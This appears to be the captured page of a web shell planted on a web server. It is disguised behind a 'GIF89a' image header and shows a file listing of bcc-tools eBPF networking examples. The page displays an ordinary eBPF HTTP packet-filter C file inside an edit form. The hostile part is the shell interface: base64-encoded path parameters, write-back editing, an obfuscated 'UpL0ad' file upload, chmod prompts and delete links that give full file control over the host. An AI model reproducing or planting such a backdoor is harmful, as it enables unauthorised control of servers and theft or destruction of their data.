GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>http-parse-complete.c<form method=post action="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg%3D%3D&f=aHR0cC1wYXJzZS1jb21wbGV0ZS5j"><input name="f" value="http-parse-complete.c"><textarea name="t">#include &lt;uapi/linux/ptrace.h&gt;
#include &lt;net/sock.h&gt;
#include &lt;bcc/proto.h&gt;

#define IP_TCP 	6
#define ETH_HLEN 14

struct Key {
	u32 src_ip;               //source ip
	u32 dst_ip;               //destination ip
	unsigned short src_port;  //source port
	unsigned short dst_port;  //destination port
};

struct Leaf {
	int timestamp;            //timestamp in ns
};

//BPF_TABLE(map_type, key_type, leaf_type, table_name, num_entry)
//map &lt;Key, Leaf&gt;
//tracing sessions having same Key(dst_ip, src_ip, dst_port,src_port)
BPF_HASH(sessions, struct Key, struct Leaf, 1024);

/*eBPF program.
  Filter IP and TCP packets, having payload not empty
  and containing &quot;HTTP&quot;, &quot;GET&quot;, &quot;POST&quot;  as first bytes of payload.
  AND ALL the other packets having same (src_ip,dst_ip,src_port,dst_port)
  this means belonging to the same &quot;session&quot;
  this additional check avoids url truncation, if url is too long
  userspace script, if necessary, reassembles urls split in 2 or more packets.
  if the program is loaded as PROG_TYPE_SOCKET_FILTER
  and attached to a socket
  return  0 -&gt; DROP the packet
  return -1 -&gt; KEEP the packet and return it to user space (userspace can read it from the socket_fd )
*/
int http_filter(struct __sk_buff *skb) {

	u8 *cursor = 0;

	struct ethernet_t *ethernet = cursor_advance(cursor, sizeof(*ethernet));
	//filter IP packets (ethernet type = 0x0800)
	if (!(ethernet-&gt;type == 0x0800)) {
		goto DROP;
	}

	struct ip_t *ip = cursor_advance(cursor, sizeof(*ip));
	//filter TCP packets (ip next protocol = 0x06)
	if (ip-&gt;nextp != IP_TCP) {
		goto DROP;
	}

	u32  tcp_header_length = 0;
	u32  ip_header_length = 0;
	u32  payload_offset = 0;
	u32  payload_length = 0;
	struct Key 	key;
	struct Leaf zero = {0};

        //calculate ip header length
        //value to multiply * 4
        //e.g. ip-&gt;hlen = 5 ; IP Header Length = 5 x 4 byte = 20 byte
        ip_header_length = ip-&gt;hlen &lt;&lt; 2;    //SHL 2 -&gt; *4 multiply

        //check ip header length against minimum
        if (ip_header_length &lt; sizeof(*ip)) {
                goto DROP;
        }

        //shift cursor forward for dynamic ip header size
        void *_ = cursor_advance(cursor, (ip_header_length-sizeof(*ip)));

	struct tcp_t *tcp = cursor_advance(cursor, sizeof(*tcp));

	//retrieve ip src/dest and port src/dest of current packet
	//and save it into struct Key
	key.dst_ip = ip-&gt;dst;
	key.src_ip = ip-&gt;src;
	key.dst_port = tcp-&gt;dst_port;
	key.src_port = tcp-&gt;src_port;

	//calculate tcp header length
	//value to multiply *4
	//e.g. tcp-&gt;offset = 5 ; TCP Header Length = 5 x 4 byte = 20 byte
	tcp_header_length = tcp-&gt;offset &lt;&lt; 2; //SHL 2 -&gt; *4 multiply

	//calculate payload offset and length
	payload_offset = ETH_HLEN + ip_header_length + tcp_header_length;
	payload_length = ip-&gt;tlen - ip_header_length - tcp_header_length;

	//http://stackoverflow.com/questions/25047905/http-request-minimum-size-in-bytes
	//minimum length of http request is always geater than 7 bytes
	//avoid invalid access memory
	//include empty payload
	if(payload_length &lt; 7) {
		goto DROP;
	}

	//load first 7 byte of payload into p (payload_array)
	//direct access to skb not allowed
	unsigned long p[7];
	int i = 0;
	for (i = 0; i &lt; 7; i++) {
		p[i] = load_byte(skb, payload_offset + i);
	}

	//find a match with an HTTP message
	//HTTP
	if ((p[0] == 'H') &amp;&amp; (p[1] == 'T') &amp;&amp; (p[2] == 'T') &amp;&amp; (p[3] == 'P')) {
		goto HTTP_MATCH;
	}
	//GET
	if ((p[0] == 'G') &amp;&amp; (p[1] == 'E') &amp;&amp; (p[2] == 'T')) {
		goto HTTP_MATCH;
	}
	//POST
	if ((p[0] == 'P') &amp;&amp; (p[1] == 'O') &amp;&amp; (p[2] == 'S') &amp;&amp; (p[3] == 'T')) {
		goto HTTP_MATCH;
	}
	//PUT
	if ((p[0] == 'P') &amp;&amp; (p[1] == 'U') &amp;&amp; (p[2] == 'T')) {
		goto HTTP_MATCH;
	}
	//DELETE
	if ((p[0] == 'D') &amp;&amp; (p[1] == 'E') &amp;&amp; (p[2] == 'L') &amp;&amp; (p[3] == 'E') &amp;&amp; (p[4] == 'T') &amp;&amp; (p[5] == 'E')) {
		goto HTTP_MATCH;
	}
	//HEAD
	if ((p[0] == 'H') &amp;&amp; (p[1] == 'E') &amp;&amp; (p[2] == 'A') &amp;&amp; (p[3] == 'D')) {
		goto HTTP_MATCH;
	}

	//no HTTP match
	//check if packet belong to an HTTP session
	struct Leaf * lookup_leaf = sessions.lookup(&amp;key);
	if(lookup_leaf) {
		//send packet to userspace
		goto KEEP;
	}
	goto DROP;

	//keep the packet and send it to userspace returning -1
	HTTP_MATCH:
	//if not already present, insert into map &lt;Key, Leaf&gt;
	sessions.lookup_or_try_init(&amp;key,&amp;zero);

	//send packet to userspace returning -1
	KEEP:
	return -1;

	//drop the packet returning 0
	DROP:
	return 0;

}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/bpfcc-tools/examples/networking/http_filter<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&x=UkVBRE1FLm1k">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=UkVBRE1FLm1k"/>README.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=UkVBRE1FLm1k&c=`+btoa(c):0" value="0644"></td><td>2103</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&x=aHR0cC1wYXJzZS1jb21wbGV0ZS5j">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1jb21wbGV0ZS5j"/>http-parse-complete.c</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1jb21wbGV0ZS5j&c=`+btoa(c):0" value="0644"></td><td>4392</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&x=aHR0cC1wYXJzZS1jb21wbGV0ZS5weQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1jb21wbGV0ZS5weQ=="/>http-parse-complete.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1jb21wbGV0ZS5weQ==&c=`+btoa(c):0" value="0755"></td><td>11329</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&x=aHR0cC1wYXJzZS1zaW1wbGUuYw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1zaW1wbGUuYw=="/>http-parse-simple.c</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1zaW1wbGUuYw==&c=`+btoa(c):0" value="0644"></td><td>3026</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&x=aHR0cC1wYXJzZS1zaW1wbGUucHk=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1zaW1wbGUucHk="/>http-parse-simple.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1zaW1wbGUucHk=&c=`+btoa(c):0" value="0755"></td><td>5260</td></tr></table>